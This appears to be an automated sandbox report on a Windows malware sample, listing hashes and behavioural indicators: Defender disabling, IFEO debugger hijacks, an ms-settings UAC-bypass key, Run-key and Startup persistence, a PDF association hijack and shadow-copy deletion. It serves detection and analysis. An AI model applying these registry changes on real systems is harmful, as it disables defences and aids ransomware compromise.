Analysis
- max time kernel
150s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/05/2026, 10:44
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
13thstreetrep.org_chromess.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
44 signatures
150 seconds
Behavioral task
behavioral2
Sample
13thstreetrep.org_chromess.exe
Resource
win11-20260130-en
windows11-21h2-x64
43 signatures
150 seconds
General
- Target 13thstreetrep.org_chromess.exe
- Size 49KB
- Sample260504-ms1leacy8m
- SHA256 78928357cef0a48f7a731833246fc0110e95a7ad17aeaca40df0cb99ac49d93f
- MD5 aa47c3b8c62e1877dc7ccbe32bb042bc
- SHA1 d1bd7bc8abb6f98909cd80533fd5c3909030e5a3
- SHA512 432d6b96ce42b0c2a17259fd4dfcbd5653147f49b6adc8f8dda399db684e95b965fd4ed45a5cb25b8ac73d89881e61616772df91cb5ab5a47b7facdb3d535de0
- SSDEEP 768:QhR/ByYGy2obb+7+Kn45//w4TC1XXGblfA0hKFcI:kRMYGyJ+7+j5Q4TEXGblf9hucI
- TLSH T1AE33F60477F98111E1BF9BBA4DB292119B31F8979C32D79E06D5018E1AB3740CEA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2712-0-0x0000000000660000-0x0000000000672000-memory.dmp disable_win_def behavioral1/files/0x0007000000024878-2378.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 13thstreetrep.org_chromess.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 13thstreetrep.org_chromess.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1472 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 13thstreetrep.org_chromess.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 13thstreetrep.org_chromess.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 13thstreetrep.org_chromess.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2696 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation 13thstreetrep.org_chromess.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 13thstreetrep.org_chromess.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 13thstreetrep.org_chromess.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf 13thstreetrep.org_chromess.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 13thstreetrep.org_chromess.exe File created C:\Windows\system32\sysupdate.exe 13thstreetrep.org_chromess.exe File opened for modification C:\Windows\system32\sysupdate.exe 13thstreetrep.org_chromess.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3896 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 13thstreetrep.org_chromess.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4748 sc.exe 4484 sc.exe 1104 sc.exe 3744 sc.exe 1968 sc.exe 2932 sc.exe 280 sc.exe 2236 sc.exe 3544 sc.exe 4640 sc.exe 4400 sc.exe 5020 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4632 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1480 ipconfig.exe 3976 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3908 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4232 vssadmin.exe 3736 vssadmin.exe 296 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\Desktop\WallpaperStyle = "2" 13thstreetrep.org_chromess.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134223650904817534" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe" 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell\open\command\DelegateExecute 13thstreetrep.org_chromess.exe Key deleted \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\.pdf\ = "PDFBotnet" 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 13thstreetrep.org_chromess.exe Key created \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings 13thstreetrep.org_chromess.exe Key deleted \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell\open\command 13thstreetrep.org_chromess.exe Key deleted \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 13thstreetrep.org_chromess.exe Key created \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell 13thstreetrep.org_chromess.exe Key created \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell\open 13thstreetrep.org_chromess.exe Key deleted \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell\open 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 13thstreetrep.org_chromess.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 13thstreetrep.org_chromess.exe Key created \REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\ms-settings\shell\open\command 13thstreetrep.org_chromess.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\13thstreetrep.org_chromess.exe\" \"%1\"" 13thstreetrep.org_chromess.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5180 schtasks.exe 2392 schtasks.exe 5684 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2348 chrome.exe 2348 chrome.exe 1472 powershell.exe 1472 powershell.exe 1472 powershell.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe 2712 13thstreetrep.org_chromess.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2712 13thstreetrep.org_chromess.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeDebugPrivilege 1472 powershell.exe Token: SeIncreaseQuotaPrivilege 1388 WMIC.exe Token: SeSecurityPrivilege 1388 WMIC.exe Token: SeTakeOwnershipPrivilege 1388 WMIC.exe Token: SeLoadDriverPrivilege 1388 WMIC.exe Token: SeSystemProfilePrivilege 1388 WMIC.exe Token: SeSystemtimePrivilege 1388 WMIC.exe Token: SeProfSingleProcessPrivilege 1388 WMIC.exe Token: SeIncBasePriorityPrivilege 1388 WMIC.exe Token: SeCreatePagefilePrivilege 1388 WMIC.exe Token: SeBackupPrivilege 1388 WMIC.exe Token: SeRestorePrivilege 1388 WMIC.exe Token: SeShutdownPrivilege 1388 WMIC.exe Token: SeDebugPrivilege 1388 WMIC.exe Token: SeSystemEnvironmentPrivilege 1388 WMIC.exe Token: SeRemoteShutdownPrivilege 1388 WMIC.exe Token: SeUndockPrivilege 1388 WMIC.exe Token: SeManageVolumePrivilege 1388 WMIC.exe Token: 33 1388 WMIC.exe Token: 34 1388 WMIC.exe Token: 35 1388 WMIC.exe Token: 36 1388 WMIC.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeBackupPrivilege 2012 vssvc.exe Token: SeRestorePrivilege 2012 vssvc.exe Token: SeAuditPrivilege 2012 vssvc.exe Token: SeIncreaseQuotaPrivilege 1388 WMIC.exe Token: SeSecurityPrivilege 1388 WMIC.exe Token: SeTakeOwnershipPrivilege 1388 WMIC.exe Token: SeLoadDriverPrivilege 1388 WMIC.exe Token: SeSystemProfilePrivilege 1388 WMIC.exe Token: SeSystemtimePrivilege 1388 WMIC.exe Token: SeProfSingleProcessPrivilege 1388 WMIC.exe Token: SeIncBasePriorityPrivilege 1388 WMIC.exe Token: SeCreatePagefilePrivilege 1388 WMIC.exe Token: SeBackupPrivilege 1388 WMIC.exe Token: SeRestorePrivilege 1388 WMIC.exe Token: SeShutdownPrivilege 1388 WMIC.exe Token: SeDebugPrivilege 1388 WMIC.exe Token: SeSystemEnvironmentPrivilege 1388 WMIC.exe Token: SeRemoteShutdownPrivilege 1388 WMIC.exe Token: SeUndockPrivilege 1388 WMIC.exe Token: SeManageVolumePrivilege 1388 WMIC.exe Token: 33 1388 WMIC.exe Token: 34 1388 WMIC.exe Token: 35 1388 WMIC.exe Token: 36 1388 WMIC.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe Token: SeShutdownPrivilege 2348 chrome.exe Token: SeCreatePagefilePrivilege 2348 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe 2348 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2712 13thstreetrep.org_chromess.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2712 wrote to memory of 2348 2712 13thstreetrep.org_chromess.exe 84 PID 2348 wrote to memory of 1592 2348 chrome.exe 85 PID 2712 wrote to memory of 1472 2712 13thstreetrep.org_chromess.exe 86 PID 2712 wrote to memory of 4748 2712 13thstreetrep.org_chromess.exe 87 PID 2712 wrote to memory of 2236 2712 13thstreetrep.org_chromess.exe 89 PID 2712 wrote to memory of 3544 2712 13thstreetrep.org_chromess.exe 91 PID 2712 wrote to memory of 4484 2712 13thstreetrep.org_chromess.exe 93 PID 2712 wrote to memory of 4640 2712 13thstreetrep.org_chromess.exe 96 PID 2712 wrote to memory of 1104 2712 13thstreetrep.org_chromess.exe 98 PID 2712 wrote to memory of 4400 2712 13thstreetrep.org_chromess.exe 100 PID 2712 wrote to memory of 3744 2712 13thstreetrep.org_chromess.exe 102 PID 2712 wrote to memory of 5052 2712 13thstreetrep.org_chromess.exe 103 PID 2712 wrote to memory of 1968 2712 13thstreetrep.org_chromess.exe 105 PID 2348 wrote to memory of 3584 2348 chrome.exe 106 